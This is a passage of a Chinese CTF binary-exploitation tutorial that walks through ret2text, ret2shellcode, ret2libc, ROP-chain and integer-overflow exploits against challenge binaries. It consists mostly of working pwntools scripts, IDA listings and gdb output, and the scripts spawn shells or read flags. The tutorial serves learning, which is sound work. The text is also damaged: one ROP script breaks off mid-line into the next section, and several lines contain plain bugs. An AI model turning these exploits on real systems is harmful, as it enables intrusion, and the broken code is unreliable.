  • IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]    padding=0x64+0x8

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(&s);     //溢出点
  printf("Maybe I will tell you next time !");
  return 0;
}

void secure()           //函数模板库,CTRL+E查看
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h]
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf((const char *)&unk_8048760, &input);
  if ( input == secretcode )
    system("/bin/sh");              //wonderful,理想的返回地址
}
  • 利用原理
  1. 找到溢出点:gets(&s)
  2. 判断填充长度 : s到ebp的大小加4字节ebp,即 0x64 - 0x1c + 0x4
  3. 判断ebp和esp寻址的小技巧:在IDA的变量s处双击,能进入到反汇编窗口即esp寻址
  • gdb调试

    1. checksec
      Arch:     i386-32-little
      RELRO:    Partial RELRO
      Stack:    No canary found
      NX:       NX enabled
      PIE:      No PIE (0x8048000)
    // 可以看到没有开启ALSR和PIE,这时我们下断点的时候不用考虑地址随机化
    
    1. 设置断点到s

    .text:080486AB                 mov     [esp], eax      ; s
    >
    > 在IDA中静态查看s的地址,取其偏移地址080486AB
    >
    > 在gdb中 b *0x080486AB 即可

    1. 计算填充长度
    EAX  0xffffce8c —▸ 0x8048329 ◂— 0x696c5f5f /* '__libc_start_main' */
    EBX  0x0
    ECX  0xffffffff
    EDX  0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0
    EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
    ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
    EBP  0xffffcef8 ◂— 0x0
    ESP  0xffffce70 —▸ 0x804876c ◂— 0x72656854 /* 'There is something amazing here, do you know anything?'
    /*
    EDX接收s
    填充长度为EBP-EAX = 0x6c
    */
    
    1. 覆写返回地址到system("/bin/sh");

    a. 使用IDA查看bin/sh的地址
    >
    assembly > .text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh" > .text:08048641                 call    _system > >

  • 攻击脚本

from pwn import *
context.log_level = "debug"                         # context预设环境
context.arch = "i386"
context.terminal = ["tmux","splitw","-h"]  # tmux   垂直分屏

if len(sys.argv) < 2:
    debug = True 
else:
    debug = False 

if debug:
        p = process("./ret2text")          # process表示当前程序的发送和接收(交互)
        elf = ELF("./ret2text")            # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')      # 载入libc的库,可以通过vmmap查看 

else:
    p = remote("x.x.x.x",1088)
    elf = ELF("./ret2text")            
    libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')      

def debugf():
    gdb.attach(p,"b *0x80486AB")
debugf()
padding = (0x64+8)*a
ebp_padding = "aaaa"
system_addr = 0x0804863A
payload = padding + ebp_padding + p32(system_addr)
p.sendlineafter("do you know anything?\n",payload)  #需要加"\n",因为puts在程序最后加"\n"
p.interactive()     # 接收shell

程序五 :ret2shellcode

  • IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}
  • 设置断点
.text:08048590                 mov     [esp], eax      ; s      设置到断点gets之前
.text:08048593                 call    _gets
  • 溢出地址
.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o
  • 攻击脚本
#!/usr/bin/env python
from pwn import *
context.arch ="i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv < 2):
    debug = True 
else:
    debug = False

if debug:
    p = process('./ret2shellcode')
    elf = ELF('./ret2shellcode')
    libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    p = remote('xx.xx.xx.xx',1111)
    elf = ELF('./ret2shellcode')
    libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def debugf():
    gdb.attach(p,"b *08048590")
debugf()
#padding     = 0x64+8
#padding_ebp = 0x4

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x6c,"a") + "junk"
buf2_addr = 0x804a080
payload += p32(buf2_addr)
p.sendlineafter("No system for you this time !!!\n",payload)
p.interactive()
  • 流程
  1. 64字节shelllcode覆盖s
  2. 填充8字节到达main函数的ebp
  3. "junk"覆盖掉rbp的内容
  4. 将return的内容覆盖为buf2的地址字节流:p32(buf2_addr)
  • 注意点

buf2位于bss段,如果程序开启了pie,是不能通过ida读取的。

ljust函数用于补充指定大小的字节

asm(shellcraft.sh())用于自动生成shellcode

手写shellcode

shellcode = asm(
"mov ebp,esp"
"push ebp"
"mov eax,08808188a"   ;向0x08808188a传入一个bin/sh
"mov [esp],eax"
"call system"
)
  • 调试
  1. finish到main函数
  2. buf的内存布局
EAX  0x804a080 (buf2) ◂— 0x2f68686a
0x80485af     call   strncpy@plt <0x8048420>
00:0000│ esp  0xff906df0 —▸ 0x804a080 (buf2) ◂— 0x2f68686a

x/20gz 0x804a080
0x804a080 :       0x68732f2f2f68686a      0x0168e3896e69622f
0x804a090 :    0x6972243481010101      0x59046a51c9310101
  1. 返回地址
0x80485c6     ret       <0x804a080; buf2> ==>可以看到将main返回地址覆盖成了buf2的地址
  1. shellcode
00:0000│ esp  0xff906e74 ◂— '/bin///sh'
01:0004│      0xff906e70 ◂— 0x6873 /* 'sh' */
0x804a0aa     int    0x80  ==> 此时中断退出

程序六 :ret2libc

  • IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

.rodata:08048720 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o

.text:08048618 ; __unwind {                                                          ==>main函数的地址,用以中转
.text:08048618                 push    ebp
.text:08048619                 mov     ebp, esp

.text:0804867B                 mov     [esp], eax      ; s  ==>设置断点
.text:0804867E                 call    _gets
  • 保护机制
➜  ret2libc1 checksec ret2libc1  
[*] '/mnt/hgfs/ctf_debug/stack/ret2libc1/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
  • 攻击脚本
from pwn import *
context.arch = "i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv) < 2:
    debug  = True 
else:
    debug = False

if debug:
    p = process("./ret2libc1")
    elf = ELF("./ret2libc1")
    libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
else:
    p = remote("x.x.x.x",xxxx)
    elf = ELF("./ret2libc1")
    libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
def debugf():
    gdb.attach(p,"b *0804867B")   # 设置断点到gets之前 
debugf()
binsh = 0x08048720
puts_plt = elf.plt["puts"]      
'''
注意到到当前程序中有puts函数,通过plt表找到puts函数的地址以准备leak puts在libc中的地址
这里不能使用got表,got里面的地址需要call。
'''
puts_got = elf.got["puts"]
main_addr = 0x08048618
padding = 0x6c * "a"
padding_ebp = 'junk'

payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got)
'''
main_addr:puts_plt的返回地址
puts_got:puts_plt的参数
'''

p.sendlineafter("RET2LIBC >_<\n",payload)
puts_addr = u32(p.recv(4)) 
log.success("puts_addr : " + hex(puts_addr)) 
'''
调用puts函数打印puts函数在libc中的地址
libc的地址为4个字节
'''
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc.address : " + hex(libc.address))
system_addr = libc.symbols["system"]
'''
libc.symbol["puts"]为puts在libc中的offset
至此载入libc的基址
'''
log.success("system_addr : " + hex(system_addr))
'''
如果程序本身没有/bin/sh的话
binsh = libc.search("/bin/sh").next()
log.success("binsh : " + hex(binsh))
'''
padding = 0x64 * "a"
payload = padding + padding_ebp + p32(system_addr) + 'junk' + p32(binsh)
'''
0x64 * "a" : 因为第二次寻址方式为ebp寻址,不用加8
这里的junk为p32(system_addr)的返回地址
'''
p.sendlineafter("RET2LIBC >_<\n",payload)
p.interactive()
  • 思路
  1. 泄露libc的地址需要使用libc中函数如puts函数的地址减去偏移量获得
  2. 调用puts_plt函数将puts_got的地址打印出来,puts_got的地址的地址即是libc中puts的地址
  3. 通过第一次溢出获得libc中puts的地址。构造一次循环,返回到main
  4. 通过puts的地址计算libc的地址,通过symbols从而得到system的地址
  5. 第二次计算padding的大小按照ebp寻址,直接为0x64,因为这时候直接返回到了ESP
  • 调试
  1. finish到main
  2. 查看栈布局 stack50

[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第10张图片

  1. main得返回地址被正确填充为puts

[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第11张图片

  1. 进入got的puts函数,leak出的地址信息,查看当前的栈布局

[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第12张图片

 

  1. 再次跳转回main函数,发送payload

 

 

  1. ebp被正确覆盖为junk,return被正确覆盖为system的地址,system函数的返回地址被覆盖为junk,参数成功覆盖成/bin/sh的地址
  • 攻击脚本2(在程序段无/bin/sh的通用利用方式,向bss段写入/bin/sh)
from pwn import *
context.arch = "i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv) < 2:
    debug  = True 
else:
    debug = False

if debug:
    p = process("./ret2libc1")
    elf = ELF("./ret2libc1")
    libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
else:
    p = remote("x.x.x.x",xxxx)
    elf = ELF("./ret2libc1")
    libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
def debugf():
    gdb.attach(p,"b *0804867B")  
puts_plt = elf.plt["puts"]      
puts_got = elf.got["puts"]
gets_plt = elf.plt["gets"]
main_addr = 0x08048618
bss_addr = 0x0804A064
padding = 0x6c * "a"
padding_ebp = 'junk'

payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendlineafter("RET2LIBC >_<\n",payload)
puts_addr = u32(p.recv(4)) 
log.success("puts_addr : " + hex(puts_addr)) 
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc.address : " + hex(libc.address))
system_addr = libc.symbols["system"]
log.success("system_addr : " + hex(system_addr))
padding = 0x64 * "a"
payload = padding + padding_ebp + p32(gets_plt) + p32(system_addr) + p32(bss_addr) + p32(bss_addr)
p.sendlineafter("RET2LIBC >_<\n",payload)
p.send("/bin/sh\n")
p.interactive()
  • 思路
  1. 寻找一片空闲的bss段区域
.bss:0804A060                                         ; main+9↑r
.bss:0804A060                                         ; Alternative name is 'stdout'
.bss:0804A060                                         ; Copy of shared data
.bss:0804A064 completed_6591  db ?                    ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064                                         ; __do_global_dtors_aux+14↑w
  1. gets_plt用于向紧接着返回地址system_addr之后的p32(bss_addr)写入数据,返回到system_addr,执行最后的p32(bss_addr)

程序七  :ret2syacall & ropchain

对于静态编译程序

​     ➜  speedrun ldd speedrun
​ 不是动态可执行文件

在有栈溢出的时候,优先考虑ropchain的方法。

ret2syacall

  • IDA静态分析

查找字符串

​   .text:0000000000400B6B                 lea     rdi, aAnyLastWords ; "c"

进入main函数

__int64 sub_400B60()
{
char buf; // [rsp+0h] [rbp-400h]

sub_410390("Any last words?");
sub_4498A0(0, &buf, 0x7D0uLL);
return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n");
}
索引到
__int64 sub_400BC1()                                          ==>main函数
{
const char *v0; // rdi

sub_410590(off_6B97A0, 0LL, 2LL, 0LL);    ==>setbuf
v0 = "DEBUG"; 
if ( !sub_40E790("DEBUG") )                            ==>setenv
 v0 = (const char *)5;
sub_400B4D(v0);
sub_400B60();
sub_400BAE();
return 0LL;
}

__int64 sub_400B4D()                                        ==>puts
{
return sub_410390("Hello brave new challenger");
}

__int64 sub_400B60()                                          ==>printf
{
char buf; // [rsp+0h] [rbp-400h]

sub_410390("Any last words?");
sub_4498A0(0, &buf, 0x7D0uLL);                    ==>read  ,溢出点
return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n", &buf); ==>手动添加参数buf
}

edit - keypatch修改alarm为nop,为了方便调试

根据函数的功能确定函数的类型

  • 思路
  1. 设置断点
.text:0000000000400B60 ; __unwind {
.text:0000000000400B60                 push    rbp
.text:0000000000400B61                 mov     rbp, rsp
.text:0000000000400B64                 sub     rsp, 400h
.text:0000000000400B6B                 lea     rdi, aAnyLastWords ; "Any last words?"
.text:0000000000400B72                 call    sub_410390
.text:0000000000400B77                 lea     rax, [rbp+buf]
.text:0000000000400B7E                 mov     edx, 7D0h       ; count
.text:0000000000400B83                 mov     rsi, rax        ; buf
.text:0000000000400B86                 mov     edi, 0          ; fd
.text:0000000000400B8B                 call    sub_4498A0     ==>call read
.text:0000000000400B90                 lea     rax, [rbp+buf]
.text:0000000000400B97                 mov     rsi, rax        ; char *
.text:0000000000400B9A                 lea     rdi, aThisWillBeTheL ; "This will be the last thing that you sa"...
.text:0000000000400BA1                 mov     eax, 0
.text:0000000000400BA6                 call    sub_40F710
.text:0000000000400BAB                 nop
.text:0000000000400BAC                 leave
.text:0000000000400BAD                 retn
.text:0000000000400BAD ; } // starts at 400B60
  1. 搜索syscall
➜  speedrun ROPgadget --binary speedrun --only 'int'    
Gadgets information
============================================================
0x000000000046817a : int 0x80

Unique gadgets found: 1
  1. 寻找rop链
➜  speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rax
0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret        ==pop_rax_rdx_rbx_ret
0x0000000000415664 : pop rax ; ret
0x000000000048cccb : pop rax ; ret 0x22

➜  speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdx
0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000044be14 : pop rdx ; pop r10 ; ret
0x0000000000481c77 : pop rdx ; pop rbx ; ret
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

➜  speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdi
0x0000000000402615 : pop rdi ; pop rbp ; ret
0x0000000000400686 : pop rdi ; ret
➜  speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rsi
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x0000000000402613 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000400684 : pop rsi ; pop r15 ; ret
0x000000000040f95e : pop rsi ; pop rbp ; ret
0x00000000004101f3 : pop rsi ; ret
  1. read一个/bin/sh
.text:00000000004498A0 ; __unwind {
.text:00000000004498A0                 mov     eax, cs:dword_6BC80C
.text:00000000004498A6                 test    eax, eax
.text:00000000004498A8                 jnz     short loc_4498C0
.text:00000000004498AA                 xor     eax, eax   ==>read_addr
.text:00000000004498AC                 syscall                 ; LINUX - sys_read

.bss:00000000006BB3B2                 db    ? ;   ==>binsh_addr
.bss:00000000006BB3B3                 db    ? ;
.bss:00000000006BB3B4                 db    ? ;
.bss:00000000006BB3B5                 db    ? ;
  1. 构造rop链
payload = 0x400*'a' + 'junkjunk' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bss_addr) + p64(pop_rdx_ret) + p64(0x10) + p64(read_addr)

payload += p64(pop_rax_rdx_ret) + p64(0x3b) + p64(0) + p64(0) + p64(pop_rdi_ret) + p64(bss_addr) + p64(pop_rsi_ret) + p64(0) + p64(syscall)
  • 攻击脚本
from pwn import * 
context.log_level = "debug"
context.arch = 'amd64'
context.terminal =["tmux","splitw","-h"]

if len(sys.argv)<2:
    debug =True
else:
    debug =False

if debug:
    p =process("./speedrun")
else :
    p = remote("xxxx",xxx)

def debugf():
    gdb.attach(p,"b * 0x4498E2")

# rax 0x3b
# rdi /bin/sh 
# rsi NULL 0
# rdx NULL 0
pop_rax_rdx_rbx_ret = 0x481c76
pop_rdi_ret  =0x400686
pop_rsi_ret  =0x4101f3
#read_addr   =0x4498A0
read_addr    =0x4498AA
syscall=0x46817a
bss_addr = 0x6BB3B3
padding = 'a'*0x400 
pop_rdx_ret =0x4498b5
#debugf()
payload =  padding + "junkjunk" + p64(pop_rdi_ret) + p64(0) +p64(pop_rsi_ret) + p64(bss_addr) +p64(pop_rdx_ret)+p64(0x8)
# p64(0) is the para of  p64(pop_rdi_ret),p64(bss_addr) is the para of p64(pop_rsi_ret)...
payload += p64(read_addr) + p64(pop_rax_rdx_rbx_ret)+p64(0x3b)+p64(0)+p64(0)+p64(pop_rdi_ret) + p64(bss_addr) +p64(pop_rsi_ret)
payload += p64(0)+p64(syscall)
p.sendafter("Any last words?\n",payload)
p.send("/bin/sh\x00")
p.interactive()
  • 调试
  1. read之后的栈布局

[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第13张图片

 

[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第14张图片

ropchain

  • 寻找ropchain

ROPgadget --binary speedrun --ropchain

  • 攻击脚本
from pwn import * 

if len(sys.argv)<2:
    debug =True
else:
    debug =False

if debug:
    p =process("./speedrun-001")
else :
    p = remote("xxxx",xxx)

def ropchanin():    
    from struct import pack

    # Padding goes here
    p = ''

    p += pack('

程序八 :整型溢出

  • IDA静态分析
int __cdecl main()
{
  int v1; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("---------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("---------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    login();
  }
  else
  {
    if ( v1 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}

int login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]

  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check(&buf);
}

char *__cdecl check(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp] v3的大小为8位1个字节

  v3 = strlen(s);         //控制s为259 ==> 0x104 ==> v3=4 (v3只取s长度的最低位)
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);      //通过s覆盖dest ---> 覆盖返回值地址
  }
  return result;
}
  • 查看保护机制
➜  login checksec login     
[*] '/mnt/hgfs/ctf_debug/stack/login/login'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
  • 可构造rop链
  • 但是转而发现程序中提供了更简单的cat flag 函数
int sub_804868B()
{
  return system("cat flag");
}

.text:0804868B sub_804868B     proc near
.text:0804868B ; __unwind {
.text:0804868B                 push    ebp
.text:0804868C                 mov     ebp, esp
.text:0804868E                 sub     esp, 8
.text:08048691                 sub     esp, 0Ch
.text:08048694                 push    offset command  ; "cat flag"
.text:08048699                 call    _system
.text:0804869E                 add     esp, 10h
.text:080486A1                 nop
.text:080486A2                 leave
.text:080486A3                 retn
.text:080486A3 ; } // starts at 804868B
  • 设置断点
.text:080486AD                 push    [ebp+s]         ; s
.text:080486B0                 call    _strlen
.text:080486B5                 add     esp, 10h
.text:080486B8                 mov     [ebp+var_9], al      ==>设置断点
.text:080486BB                 cmp     [ebp+var_9], 3
  • 攻击脚本
from pwn import * 
context.arch='i386'
context.log_level = "debug"
context.terminal =["tmux","splitw","-h"]

if len(sys.argv)<2:
    debug =True
else:
    debug=False

if debug:
    p=process("./login")
    elf =ELF("./login")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else :
    p=remote("Xxx.xxx.xxx.xx",xxx)
    elf =ELF("./login")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def login(username,passwd):
    p.sendlineafter("Your choice:","1")
    p.sendlineafter("Please input your username:\n",username)
    p.sendlineafter("Please input your passwd:\n",passwd)
def debugf():
    gdb.attach(p,"b * 0x80486B8")

debugf()
cat_flag = 0x804868B 
offset = 0x100+0x4
payload = 'a'*0x14 + 'junk' + p32(cat_flag)
payload = payload.ljust(offset,"a")
login("chandler",payload)
print p.recvall()

免费评分

你可能感兴趣的:([漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶)